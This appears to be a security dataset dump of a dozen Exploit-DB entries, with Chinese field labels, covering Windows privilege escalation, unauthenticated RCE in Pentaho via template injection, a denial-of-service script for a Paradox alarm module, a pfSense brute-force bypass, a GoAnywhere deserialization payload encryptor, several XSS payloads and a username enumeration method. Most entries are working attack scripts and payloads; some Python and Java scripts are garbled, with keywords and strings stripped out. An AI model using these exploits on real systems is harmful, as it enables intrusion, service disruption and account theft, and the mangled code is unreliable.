QLWD/code_shield huggingface dataset:
标题: File Replication Pro 7.5.0 - Privilege Escalation/Password reset due Incorrect Access Control EDB-ID: 51375 CVE: 2023-26918 类型: LOCAL 平台: WINDOWS 发布日期: 2023-04-20 漏洞利用脚本: # Exploit Title: File Replication Pro 7.5.0 - Privilege Escalation/Password reset due Incorrect Access Control
# Date: 2023-04-13
# Exploit Author: Andrea Intilangelo
# Vendor Homepage: http://www.diasoft.net - https://www.filereplicationpro.com
# Software Link: http://www.filereplicationpro.com/install/InstData/Windows_64_Bit/VM/frpro.exe
# Version: 7.5.0
# Tested on: Windows 10 Pro 22H2 x64
# CVE: CVE-2023-26918

Incorrect file/folder permissions in Diasoft Corporation's File Replication Pro 7.5.0 allow privilege escalation by
replacing a file with another one that will be executed with "LocalSystem" rights from Windows Services application.

C:\Program Files>icacls "c:\Program Files\FileReplicationPro"
c:\Program Files\FileReplicationPro Everyone:(F)
                                    Everyone:(OI)(CI)(IO)(F)

C:\Users\Administrator>sc qc frp
[SC] QueryServiceConfig OPERAZIONI RIUSCITE

NOME_SERVIZIO: frp
        TIPO                      : 10  WIN32_OWN_PROCESS
        TIPO_AVVIO                : 2   AUTO_START
        CONTROLLO_ERRORE          : 1   NORMAL
        NOME_PERCORSO_BINARIO     : "C:\Program Files\FileReplicationPro\prunsrv.exe" //RS//frp
        GRUPPO_ORDINE_CARICAMENTO :
        TAG                       : 0
        NOME_VISUALIZZATO         : FRPReplicationServer
        DIPENDENZE                : Tcpip
                                  : Afd
        SERVICE_START_NAME : LocalSystem

To exploit the vulnerability a malicious actor/process must weaponize or replace the prunsrv.exe executable that runs
with LocalSystem privileges as "frp" (FRPReplicationServer) service, since the application's path has "Everyone" full
access permissions.

Moreover, the "properties.xml" file in the "etc" folder inside program's path contains the hashed password for remote
access stored in sha1(base64) value, that is possible to modify. Replacing it with a new hash, generated by encrypting
a string in SHA-1 and encoding its digest via base64, will grant the login access on the application's web interface. URL: https://www.exploit-db.com/exploits/51375
标题: Microsoft Edge (Chromium-based) Webview2 1.0.1661.34 - Spoofing EDB-ID: 51359 CVE: 2023-24892 类型: LOCAL 平台: MULTIPLE 发布日期: 2023-04-10 漏洞利用脚本: ## Title: Microsoft-Edge-(Chromium-based)-Webview2-1.0.1661.34-Spoofing-Vulnerability
## Author: nu11secur1ty
## Date: 04.10.2023
## Vendor: https://developer.microsoft.com/en-us/
## Software: https://developer.microsoft.com/en-us/microsoft-edge/webview2/
## Reference: https://www.rapid7.com/fundamentals/spoofing-attacks/
## CVE ID: CVE-2023-24892

## Description:
The Webview2 development platform is vulnerable to Spoofing attacks.
The attacker can build a very malicious web app and spread it to the
victim's networks.
and when they open it this can be the last web app opening for them.

STATUS: HIGH Vulnerability

[+]Exploit:

[href](https://github.com/nu11secur1ty/Windows11Exploits/tree/main/2023/CVE-2023-24892/PoC)


## Reproduce:
[href](https://github.com/nu11secur1ty/Windows11Exploits/tree/main/2023/CVE-2023-24892)

## Proof and Exploit:
[href](https://streamable.com/uk7l2n)

## Time spend:
03:00:00


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at
https://packetstormsecurity.com/https://cve.mitre.org/index.html and
https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/> URL: https://www.exploit-db.com/exploits/51359
标题: Online Computer and Laptop Store 1.0 - Remote Code Execution (RCE) EDB-ID: 51358 CVE: 2023-1826 类型: WEBAPPS 平台: PHP 发布日期: 2023-04-10 漏洞利用脚本: #!/usr/bin/env python3

# Exploit Title: Online Computer and Laptop Store 1.0 - Remote Code Execution (RCE)
# Date: 09/04/2023
# Exploit Author: Matisse Beckandt (Backendt)
# Vendor Homepage: https://www.sourcecodester.com/php/16397/online-computer-and-laptop-store-using-php-and-mysql-source-code-free-download.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-ocls.zip
# Version: 1.0
# Tested on: Debian 11.6
# CVE : CVE-2023-1826


 requests
 argparse  ArgumentParser
 uuid  uuid4
 datetime  datetime timezone

 fileUrl 
    
     
        command  
         command  
            

        response  requestsgetf
        responsetext

 url  filename  content
    endpoint  f
       filename content

    response  requestspostendpoint files
     response

 url  filename 
    timeNow  datetimenowtimezoneutcreplacesecond 
    epoch  timeNowtimestamp 
    possibleFilename  f
    fileUrl  f
    response  requestsgetfileUrl
     responsestatus_code  
         fileUrl

 url 
    filename  uuid4  
    content  
    response  uploadFileurl filename content

     responsestatus_code  
        f

    uploadedUrl  getUploadedFileUrlurl filename
     uploadedUrl  
        
        exit
    f

    
        interactiveShelluploadedUrl
     KeyboardInterrupt
        
    

 url 
      urlstartswith
        url    url
     urlendswith
        url  url
     url

 
    parser  ArgumentParserdescription
    parseradd_argument  
    args  parserparse_args

    url  getWebsiteURLargsurl
    exploiturl

 __name__  
    main URL: https://www.exploit-db.com/exploits/51358
标题: Paradox Security Systems IPR512 - Denial Of Service EDB-ID: 51356 CVE: 2023-24709 类型: DOS 平台: HARDWARE 发布日期: 2023-04-10 漏洞利用脚本: #!/bin/bash

# Exploit Title: Paradox Security Systems IPR512 - Denial Of Service
# Google Dork: intitle:"ipr512 * - login screen"
# Date: 09-APR-2023
# Exploit Author: Giorgi Dograshvili
# Vendor Homepage: Paradox - Headquarters <https://www.paradox.com/Products/default.asp?PID=423> (https://www.paradox.com/Products/default.asp?PID=423)
# Version: IPR512
# CVE : CVE-2023-24709

# Function to display banner message
display_banner() {
  echo "******************************************************"
  echo "*                                                    *"
  echo "*                PoC CVE-2023-24709                  *"
  echo "*      BE AWARE!!! RUNNING THE SCRIPT WILL MAKE      *"
  echo "*    A DAMAGING IMPACT ON THE SERVICE FUNCTIONING!   *"
  echo "*                                by SlashXzerozero   *"
  echo "*                                                    *"
  echo "******************************************************"
}

# Call the function to display the banner
display_banner
  echo ""
  echo ""
  echo "Please enter a domain name or IP address with or without port"
read -p  "(e.g. example.net or 192.168.12.34, or 192.168.56.78:999): " domain

# Step 2: Ask for user confirmation
read -p "This will DAMAGE the service. Do you still want it to proceed? (Y/n): " confirm
if [[ $confirm == "Y" || $confirm == "y" ]]; then
  # Display loading animation
  animation=("|" "/" "-" "\\")
  index=0
  while [[ $index -lt 10 ]]; do
    echo -ne "Loading ${animation[index]} \r"
    sleep 1
    index=$((index + 1))
  done

  # Use curl to send HTTP GET request with custom headers and timeout
  response=$(curl -i -s -k -X GET \
    -H "Host: $domain" \
    -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36" \
    -H "Accept: */" \
    -H "Referer: http://$domain/login.html" \
    -H "Accept-Encoding: gzip, deflate" \
    -H "Accept-Language: en-US,en;q=0.9" \
    -H "Connection: close" \
    --max-time 10 \
    "http://$domain/login.cgi?log_user=%3c%2f%73%63%72%69%70%74%3e&log_passmd5=&r=3982")

  # Check response for HTTP status code 200 and print result
  if [[ $response == *"HTTP/1.1 200 OK"* ]]; then
    echo -e "\nIt seems to be vulnerable! Please check the webpanel: http://$domain/login.html"
  else
    echo -e "\nShouldn't be vulnerable! Please check the webpanel:  http://$domain/login.html"
  fi
else
  echo "The script is stopped!."
fi URL: https://www.exploit-db.com/exploits/51356
标题: X2CRM v6.6/6.9 - Reflected Cross-Site Scripting (XSS) (Authenticated) EDB-ID: 51346 CVE: 2022-48177 类型: WEBAPPS 平台: PHP 发布日期: 2023-04-08 漏洞利用脚本: # Exploit Title: X2CRM v6.6/6.9 - Reflected Cross-Site Scripting (XSS) (Authenticated)
# Exploit Author: Betul Denizler
# Vendor Homepage: https://x2crm.com/
# Software Link: https://sourceforge.net/projects/x2engine/
# Version: X2CRM v6.6/6.9
# Tested on: Ubuntu Mate 20.04
# Vulnerable Parameter: model
# CVE: Use CVE-2022-48177
# Date: 27.12.2022

'''

POC REQUEST:
========
GET 
/x2crm/x2engine/index.php/admin/importModels?model=asd%22%3E%3Cbody%20onload=%22alert(4)%22%3E 
HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) 
Gecko/20100101 Firefox/108.0
Accept: 
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: LoginForm[username]=admin; LoginForm[rememberMe]=1; 
PHPSESSID=959fpkms4abdhtresce9k9rmk3; 
YII_CSRF_TOKEN=e5d14327e116fe92a5feb663d52e0920f1a4adab; 
d9ee490d05f512911c1c4614c37db2b8=15982c76efa545e0e6fcd167baa86541c1ef91eda%3A4%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3Bi%3A1%3Bs%3A5%3A%22admin%22%3Bi%3A2%3Bi%3A2592000%3Bi%3A3%3Ba%3A0%3A%7B%7D%7D; 
locationTrackingFrequency=60; locationTrackingSwitch=1; 
5d8630d289284e8c14d15b14f4b4dc28=15982c76efa545e0e6fcd167baa86541c1ef91eda%3A4%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3Bi%3A1%3Bs%3A5%3A%22admin%22%3Bi%3A2%3Bi%3A2592000%3Bi%3A3%3Ba%3A0%3A%7B%7D%7D; 
sessionToken=FFWkdliSAKgtUbP1dKP4iswyYRelqyQ4
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

EXPLOITATION
========
1. Select Import Records Model in admin settings
2. Inject payload to the vulnerable parameter in GET request

Payload: "><body onload="alert(4)">
''' URL: https://www.exploit-db.com/exploits/51346
标题: Pentaho BA Server EE 9.3.0.0-428 - Remote Code Execution (RCE) (Unauthenticated) EDB-ID: 51350 CVE: 2022-43939 2022-43769 类型: WEBAPPS 平台: JSP 发布日期: 2023-04-08 漏洞利用脚本: # Exploit Title: Pentaho BA Server EE 9.3.0.0-428 - Remote Code Execution (RCE) (Unauthenticated)
# Author: dwbzn
# Date: 2022-04-04
# Vendor: https://www.hitachivantara.com/
# Software Link: https://www.hitachivantara.com/en-us/products/lumada-dataops/data-integration-analytics/download-pentaho.html
# Version: Pentaho BA Server 9.3.0.0-428
# CVE: CVE-2022-43769, CVE-2022-43939
# Tested on: Windows 11
# Credits: https://research.aurainfosec.io/pentest/pentah0wnage
# NOTE: This only works on the enterprise edition. Haven't tested it on Linux, but it should work (don't use notepad.exe).

# Unauthenticated RCE via SSTI using CVE-2022-43769 and CVE-2022-43939 (https://research.aurainfosec.io/pentest/pentah0wnage)
import requests
import argparse

parser = argparse.ArgumentParser(description='CVE-2022-43769 + CVE-2022-43939 - Unauthenticated RCE via SSTI')
parser.add_argument('baseurl', type=str, help='base url e.g. http://127.0.0.1:8080/pentaho')
parser.add_argument('--cmd', type=str, default='notepad.exe', nargs='?', help='command to execute (default notepad.exe)', required=False)
args = parser.parse_args()

url = f"{args.baseurl}/api/ldap/config/ldapTreeNodeChildren/require.js?url=%23{{T(java.lang.Runtime).getRuntime().exec('{args.cmd}')}}&mgrDn=a&pwd=a"

print ("running...")
r = requests.get(url)
if r.text == 'false':
    print ("command should've executed! nice.")
else:
    print ("didn't work. sadge...") URL: https://www.exploit-db.com/exploits/51350
标题: ZCBS/ZBBS/ZPBS v4.14k - Reflected Cross-Site Scripting (XSS) EDB-ID: 51347 CVE: 2023-26692 类型: WEBAPPS 平台: CGI 发布日期: 2023-04-08 漏洞利用脚本: # Exploit Title: ZCBS/ZBBS/ZPBS v4.14k - Reflected Cross-Site Scripting (XSS)
# Date: 2023-03-30
# CVE: CVE-2023-26692
# Exploit Author: Abdulaziz Saad (@b4zb0z)
# Vendor Homepage: https://www.zcbs.nl
# Version: 4.14k
# Tested on: LAMP, Ubuntu
# Google Dork: inurl:objecten.pl?ident=3D

---

[#] Vulnerability :

`$_GET['ident']`


[#] Exploitation :

`https://localhost/cgi-bin/objecten.pl?ident=3D%3Cimg%20src=3Dx%20onerror=
=3Dalert(%22XSS%22)%3E` URL: https://www.exploit-db.com/exploits/51347
标题: pfsenseCE v2.6.0 - Anti-brute force protection bypass EDB-ID: 51352 CVE: 2023-27100 类型: REMOTE 平台: HARDWARE 发布日期: 2023-04-08 漏洞利用脚本: #!/usr/bin/python3

## Exploit Title: pfsenseCE v2.6.0 - Anti-brute force protection bypass
## Google Dork: intitle:"pfSense - Login"
## Date: 2023-04-07
## Exploit Author: FabDotNET (Fabien MAISONNETTE)
## Vendor Homepage: https://www.pfsense.org/
## Software Link: https://atxfiles.netgate.com/mirror/downloads/pfSense-CE-2.6.0-RELEASE-amd64.iso.gz
## Version: pfSenseCE <= 2.6.0
## CVE: CVE-2023-27100

# Vulnerability
## CVE: CVE-2023-27100
## CVE URL: https://nvd.nist.gov/vuln/detail/CVE-2023-27100
## Security Advisory: https://docs.netgate.com/downloads/pfSense-SA-23_05.sshguard.asc


 requests
 sys
 re
 argparse
 textwrap
 urllib3exceptions  InsecureRequestWarning


parser  argparseArgumentParserdescription
                                 formatter_classargparseRawTextHelpFormatter
                                 epilogtextwrapdedent

parseradd_argument  
parseradd_argument  
parseradd_argument  
args  parserparse_args

 sysargv  
    f
    sysexit


url  argsurl
usersList  argsusersList
passwdList  argspasswdList


 urlupperstartswith
    requestspackagesurllib3disable_warningscategoryInsecureRequestWarning




 userlogin userpasswd
    session  requestssession
    r  sessiongeturl verify

    
    csrftoken  researchr rtext
    csrftoken  csrftokengroup

    
    headerscontent  
         
         f
         
    

    
    postreqcontent  
         f
         f
         f
         
    

    
    r  sessionposturl datapostreqcontent headersheaderscontent allow_redirects verify

    
     rstatus_code  
        f
        f
        sysexit



userfile  usersListreadlines
passfile  passwdListreadlines

 user  userfile
    user  userstrip
     passwd  passfile
        passwd  passwdstrip
        loginuser passwd URL: https://www.exploit-db.com/exploits/51352
标题: X2CRM v6.6/6.9 - Stored Cross-Site Scripting (XSS) (Authenticated) EDB-ID: 51345 CVE: 2022-48178 类型: WEBAPPS 平台: PHP 发布日期: 2023-04-08 漏洞利用脚本: # Exploit Title: X2CRM v6.6/6.9 - Stored Cross-Site Scripting (XSS) (Authenticated)
# Exploit Author: Betul Denizler
# Vendor Homepage: https://x2crm.com/
# Software Link: https://sourceforge.net/projects/x2engine/
# Version: X2CRM v6.6/6.9
# Tested on: Ubuntu Mate 20.04
# Vulnerable Parameter: Actions[subject]
# CVE: CVE-2022-48178
# Date: 27.12.2022

'''
POC REQUEST:
========
POST /c2xrm/x2engine/index.php/actions/update?id=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) 
Gecko/20100101 Firefox/108.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 172
Origin: http://localhost
Connection: close
Referer: 
http://localhost/c2xrm/x2engine/index.php/actions/viewAction?id=1
Cookie: LoginForm[username]=admin; LoginForm[rememberMe]=1; 
PHPSESSID=kg3n7kcjqtm29fc7n4m72m0bt5; 
YII_CSRF_TOKEN=e5d14327e116fe92a5feb663d52e0920f1a4adab; 
5d8630d289284e8c14d15b14f4b4dc28=779a63cb39d04cca59b4a3b9b2a4fad817930211a%3A4%3A%7Bi%3A0%3Bs%3A1%3A%224%22%3Bi%3A1%3Bs%3A5%3A%22test2%22%3Bi%3A2%3Bi%3A2592000%3Bi%3A3%3Ba%3A0%3A%7B%7D%7D; 
d9ee490d05f512911c1c4614c37db2b8=15982c76efa545e0e6fcd167baa86541c1ef91eda%3A4%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3Bi%3A1%3Bs%3A5%3A%22admin%22%3Bi%3A2%3Bi%3A2592000%3Bi%3A3%3Ba%3A0%3A%7B%7D%7D; 
sessionToken=Ncr7UIvK2yPvHzZc8koNW4DaIXxwZnsr
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

YII_CSRF_TOKEN=e5d14327e116fe92a5feb663d52e0920f1a4adab&Actions%5Bsubject%5D=%3Cscript%3Ealert(1)%3C%2Fscript%3E&Actions%5Bpriority%5D=1&Actions%5BactionDescription%5D=test

EXPLOITATION
========
1. Create an action
2. Inject payload to the vulnerable parameter in POST request

Payload: %3Cscript%3Ealert(1)%3C%2Fscript%3E
''' URL: https://www.exploit-db.com/exploits/51345
标题: Palo Alto Cortex XSOAR 6.5.0 - Stored Cross-Site Scripting (XSS) EDB-ID: 51343 CVE: 2022-0020 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2023-04-08 漏洞利用脚本: # Exploit Title: Palo Alto Cortex XSOAR 6.5.0 - Stored Cross-Site Scripting (XSS)
# Exploit Author: omurugur
# Vendor Homepage: https://security.paloaltonetworks.com/CVE-2022-0020
# Version: 6.5.0 - 6.2.0 - 6.1.0
# Tested on: [relevant os]
# CVE : CVE-2022-0020
# Author Web: https://www.justsecnow.com
# Author Social: @omurugurrr


A stored cross-site scripting (XSS) vulnerability in Palo Alto Network
Cortex XSOAR web interface enables an authenticated network-based attacker
to store a persistent javascript payload that will perform arbitrary
actions in the Cortex XSOAR web interface on behalf of authenticated
administrators who encounter the payload during normal operations.

POST /acc_UAB(MAY)/incidentfield HTTP/1.1
Host: x.x.x.x
Cookie: XSRF-TOKEN=xI=; inc-term=x=; S=x+x+x+x/x==; S-Expiration=x;
isTimLicense=false
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0)
Gecko/20100101 Firefox/94.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://x.x.x.x/acc_UAB(MAY)
Content-Type: application/json
X-Xsrf-Token:
Api_truncate_results: true
Origin: https://x.x.x.x
Content-Length: 373
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
{"associatedToAll":true,"caseInsensitive":true,"sla":0,"shouldCommit":true,"threshold":72,"propagationLabels":["all"],"name":"\"/><svg/onload=prompt(document.domain)>","editForm":true,"commitMessage":"Field
edited","type":"html","unsearchable":false,"breachScript":"","shouldPublish":true,"description":"\"/><svg/onload=prompt(document.domain)>","group":0,"required":false}

Regards,

Omur UGUR

> URL: https://www.exploit-db.com/exploits/51343
标题: Symantec Messaging Gateway 10.7.4 - Stored Cross-Site Scripting (XSS) EDB-ID: 51342 CVE: 2022-25630 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2023-04-08 漏洞利用脚本: # Exploit Title: Symantec Messaging Gateway 10.7.4 - Stored Cross-Site Scripting (XSS)
# Exploit Author: omurugur
# Vendor Homepage: https://support.broadcom.com/external/content/SecurityAdvisories/0/21117
# Version: 10.7.4-10.7.13
# Tested on: [relevant os]
# CVE : CVE-2022-25630
# Author Web: https://www.justsecnow.com
# Author Social: @omurugurrr


An authenticated user can embed malicious content with XSS into the admin
group policy page.

Example payload

*"/><svg/onload=prompt(document.domain)>*


POST /brightmail/admin/administration/AdminGroupPolicyFlow$save.flo
HTTP/1.1
Host: X.X.X.X
Cookie: JSESSIONID=xxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0)
Gecko/20100101 Firefox/99.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 652
Origin: https://x.x.x.x
Referer:
https://x.x.x.x/brightmail/admin/administration/AdminGroupPolicyFlow$add.flo
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

pageReuseFor=add&symantec.brightmail.key.TOKEN=xxx&adminGroupName=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%28location%29%3E&adminGroupDescription=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%28location%29%3E&adminGroupDescription=&fullAdminRole=true&statusRole=true&statusViewOnly=false&reportRole=true&reportViewOnly=false&policyRole=true&policyViewOnly=false&settingRole=true&settingViewOnly=false&adminRole=true&adminViewOnly=false&submitRole=true&submitViewOnly=false&quarantineRole=true&quarantineViewOnly=false&selectedFolderRights=2&ids=0&complianceFolderIds=1&selectedFolderRights=2&ids=0&complianceFolderIds=10000000


Regards,

Omur UGUR URL: https://www.exploit-db.com/exploits/51342
标题: Goanywhere Encryption helper 7.1.1 - Remote Code Execution (RCE) EDB-ID: 51339 CVE: 2023-0669 类型: WEBAPPS 平台: JAVA 发布日期: 2023-04-08 漏洞利用脚本: // Exploit Title: Goanywhere Encryption helper 7.1.1 - Remote Code Execution (RCE)
// Google Dork:  title:"GoAnywhere" 
// Date: 3/26/2023
// Exploit Author: Youssef Muhammad
// Vendor Homepage: https://www.goanywhere.com/
// Software Link:  https://www.dropbox.com/s/j31l8lgvapbopy3/ga7_0_3_linux_x64.sh?dl=0
// Version:  > 7.1.1 for windows / > 7.0.3 for Linux 
// Tested on: Windows, Linux
// CVE : CVE-2023-0669
// This script is needed to encrypt the serialized payload generated by the ysoserial tool in order to achieve Remote Code Execution 

import java.util.Base64;
 javaxcryptoCipher
 javaniocharsetStandardCharsets
 javaxcryptoSecretKeyFactory
 javaxcryptospecPBEKeySpec
 javaxcryptospecIvParameterSpec
 javaxcryptospecSecretKeySpec
 javaniofileFiles
 javaniofilePaths
   
     String ALGORITHM  
      KEY   
      IV  StandardCharsetsUTF_8
       String args  Exception 
         argslength   
            Systemout
            System
        
        String filePath  args
        String version  args
         fileContent  FilesPathsfilePath
        String encryptedContent  fileContent version
        SystemoutencryptedContent
    
      String  data String version  Exception 
        Cipher cipher  CipherALGORITHM
        KEY  version    
        SecretKeySpec keySpec   KEY 
        IvParameterSpec ivSpec   IV
        cipherCipherENCRYPT_MODE keySpec ivSpec
         encryptedObject  cipherdata
        String bundle  Base64encryptedObject
        String v  version    
        bundle  v
         bundle
    
         Exception 
        
        String param1  
         param2         
         SecretKeyFactory  param1  param2  
    
         Exception 
        
        String param1  
         param2                 
         SecretKeyFactory  param1  param2 URL: https://www.exploit-db.com/exploits/51339
标题: ENTAB ERP 1.0 - Username PII leak EDB-ID: 51335 CVE: 2022-30076 类型: WEBAPPS 平台: ASP 发布日期: 2023-04-08 漏洞利用脚本: Exploit Title: ENTAB ERP 1.0 - Username PII leak
Date: 17.05.2022
Exploit Author: Deb Prasad Banerjee
Vendor Homepage: https://www.entab.in
Version: Entab ERP 1.0
Tested on: Windows IIS
CVE: CVE-2022-30076

Vulnerability Name: Broken Access control via Rate Limits

Description:
In the entab software in fapscampuscare.in, there is a login portal with a
UserId field. An authenticated user would enter and get their name as well
as other services. However, there should be a rate limit in place, which is
not present. As a result, a hacker could bypass the system and obtain other
usernames via broken access control. This enables a threat actor to
obain the complete full name and user ID of the person.

POC:
1. Go to fapscampuscare.in or any entab hosted software and find the entab
software.
2. Use a proxy to intercept the request.
3. Since it's a student login, try a random UserId (e.g., s11111).
4. Intercept the request using Burp Suite and send it to the Intruder.
5. Select payloads from number 100000-20000, and turn off URL encoding on
the UserId parameter.
6. Start the attack and sort by length to obtain the username and full name
of other users. URL: https://www.exploit-db.com/exploits/51335